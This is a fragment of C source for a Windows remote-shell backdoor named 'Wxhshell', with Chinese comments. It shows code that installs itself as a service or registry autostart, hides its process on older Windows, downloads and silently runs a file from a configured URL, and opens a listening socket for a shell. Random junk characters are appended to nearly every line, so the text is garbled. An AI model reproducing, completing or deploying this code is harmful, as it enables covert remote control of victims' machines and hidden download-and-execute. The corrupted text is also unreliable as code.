ULONG UniqueProcessId; wxEFM)zr
ULONG InheritedFromUniqueProcessId; *yOpMxE
} PROCESS_BASIC_INFORMATION; A@#9X'C$^
O.CRF-`t
PROCNTQSIP NtQueryInformationProcess; 2>0[^ .;"
j8nG
Gx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )nyud$9w'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MjNCn&c
%>}6>nT#
HANDLE hProcess; $}r*WZ
PROCESS_BASIC_INFORMATION pbi; M%+l21&
~hPp)-A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9*2A}dH
if(NULL == hInst ) return 0; .Y[sQO~%
x F7C1g(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :-7`Lfi@%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H[ocIw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !Gsr* F{.
~aa`Y0Ws],
if (!NtQueryInformationProcess) return 0; RekTWIspT/
Q^4j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !r$?66q/
if(!hProcess) return 0; Ha9A5Ao}0
g
nJe!E
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
fQc2K|V
J:Uf}!D
CloseHandle(hProcess); T (]
"knSc0,u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W+V#z8K
if(hProcess==NULL) return 0; Es6b~#
JyWBLi;Z
HMODULE hMod; r 11:T3
char procName[255]; aN{C86wx
unsigned long cbNeeded; Dp!3uR']p
'`$a l7D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n}PK0
{C Qo}@.7
CloseHandle(hProcess); He="S3XON
SC)4u l%
if(strstr(procName,"services")) return 1; // 以服务启动 V*xT5TljS-
|rkj$s,
return 0; // 注册表启动 iJuh1+6:c9
} J
Sz'oA5
,A9pj k'
// 主模块 Ps5UX6\ .m
int StartWxhshell(LPSTR lpCmdLine) =wHHR1e
{ LivPk`[
SOCKET wsl; I
<`9ANe
BOOL val=TRUE; 6*%3O=*
int port=0; Y%:FawR
struct sockaddr_in door; <T{2a\i 4f
)nU%}Z
if(wscfg.ws_autoins) Install();
Fv=7~6~
bs$x%CR
port=atoi(lpCmdLine); SHS:>V
oB;EP
if(port<=0) port=wscfg.ws_port; L{(\k$>'
awN{F6@ZE
WSADATA data; S]iMZ \I/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \^2%v~
mz@`*^7?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3>qUYxG8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B4 5B`Ay
door.sin_family = AF_INET; Y\luz`v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &n+3^JNl
door.sin_port = htons(port); j%Mz;m4y
uZ][#[u
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }yCJ#}
closesocket(wsl); vAiNOpz#
return 1; b{qeu$G R
} g=.~_&O
'gd3 w~
if(listen(wsl,2) == INVALID_SOCKET) { R[ p. )F7
closesocket(wsl); D"_~Njf
return 1; I9P<!#q>
} 6r"uDV #0
Wxhshell(wsl); r1&b#r>
WSACleanup(); {?m;DYv
l^4[;%*f#l
return 0; k .? aq
x
\B!0"~
} z)"7qqA
dO.?S89L
// 以NT服务方式启动 cY?<
W/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '(A)^K>+
{ T0n=nC}<
DWORD status = 0; %\#s@8=2u
DWORD specificError = 0xfffffff; J&UFP{)
:UMg5eZ
serviceStatus.dwServiceType = SERVICE_WIN32; *%_:[>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; > ^fY`x,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R<
@o]p
serviceStatus.dwWin32ExitCode = 0; e:}8|e~T
serviceStatus.dwServiceSpecificExitCode = 0; Q#P=t83
serviceStatus.dwCheckPoint = 0; qR0V\OtgY~
serviceStatus.dwWaitHint = 0; 6#VG,'e3
Okm&b g
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QA7SQcd,
if (hServiceStatusHandle==0) return; eA9U|&o
<Ur(< WTV
status = GetLastError(); E< nXkqD
if (status!=NO_ERROR) v<iMlOEt
{ >ijFQ667>j
serviceStatus.dwCurrentState = SERVICE_STOPPED; %||}WT-wv
serviceStatus.dwCheckPoint = 0; +;SQ}[
serviceStatus.dwWaitHint = 0; o<P@:}K
serviceStatus.dwWin32ExitCode = status; :Z(?Ct&8
serviceStatus.dwServiceSpecificExitCode = specificError;
|5)~WoV/G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Srj%6rgsB
return; k^AI7H
} iK{q_f\"
?6.vd]oNO
serviceStatus.dwCurrentState = SERVICE_RUNNING; }T%;G /W
serviceStatus.dwCheckPoint = 0; w#[Ul9=?6
serviceStatus.dwWaitHint = 0; 1BQTvUAA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?l#9ydi?
} rm2"pfs
%98F>wl
// 处理NT服务事件,比如:启动、停止 '8>h4s4
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,?i^i#Wqzg
{ ~d6_
switch(fdwControl) JoQzf~
{ q:sDNj)R\
case SERVICE_CONTROL_STOP: avxI\twAU
serviceStatus.dwWin32ExitCode = 0; "Q9S<O8)
serviceStatus.dwCurrentState = SERVICE_STOPPED; NhQIpzL)
serviceStatus.dwCheckPoint = 0; b $x<7l5C
serviceStatus.dwWaitHint = 0; @
fm\
H
{ jQ.]m
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +aRjJ/*
} <\Nf6>_qEM
return; <b"ynoM.A
case SERVICE_CONTROL_PAUSE: P;0tI;
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1)
V,>)Ak
break; Y'"2s~_
Z
case SERVICE_CONTROL_CONTINUE: h-h U=I8
serviceStatus.dwCurrentState = SERVICE_RUNNING; =MO2M~e!
break; FV^CSaN[R
case SERVICE_CONTROL_INTERROGATE: ;`g\T u
break; Pi::cf>3
}; 3=~"<f
l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -H~g+i*J
} >R3~P~@30
_H^Ij
// 标准应用程序主函数 6~GaFmW=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vFY/o,b \
{ pW O-YZ#+
=Xzqp,
// 获取操作系统版本 f ^mxj/%L
OsIsNt=GetOsVer(); YXXUYi~!f
GetModuleFileName(NULL,ExeFile,MAX_PATH); ="
K;3a`GI
{OP-9P=p
// 从命令行安装 8yax.N
j
if(strpbrk(lpCmdLine,"iI")) Install(); qT#+DDEAL
f|Kd{ $VO
// 下载执行文件
At%g^
if(wscfg.ws_downexe) { JbzYr]k
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Taxi79cH
WinExec(wscfg.ws_filenam,SW_HIDE); k\_>/)g
} ^ cN-
_m;cX!+~_
if(!OsIsNt) { XG<J'3
// 如果时win9x,隐藏进程并且设置为注册表启动 `
_()R`=
HideProc(); q:#,b0|bv
StartWxhshell(lpCmdLine); D
h ]+HF
} $1oU^VY
else ]+)z}lr8 C
if(StartFromService()) N%6jZmKip
// 以服务方式启动 PYr#vOH
StartServiceCtrlDispatcher(DispatchTable); {r.#R|
4v
else mJewUc!<5
// 普通方式启动 V S2p"0$3D
StartWxhshell(lpCmdLine); ,HS\(Z
1YR;dn
return 0; H? N!F7s
}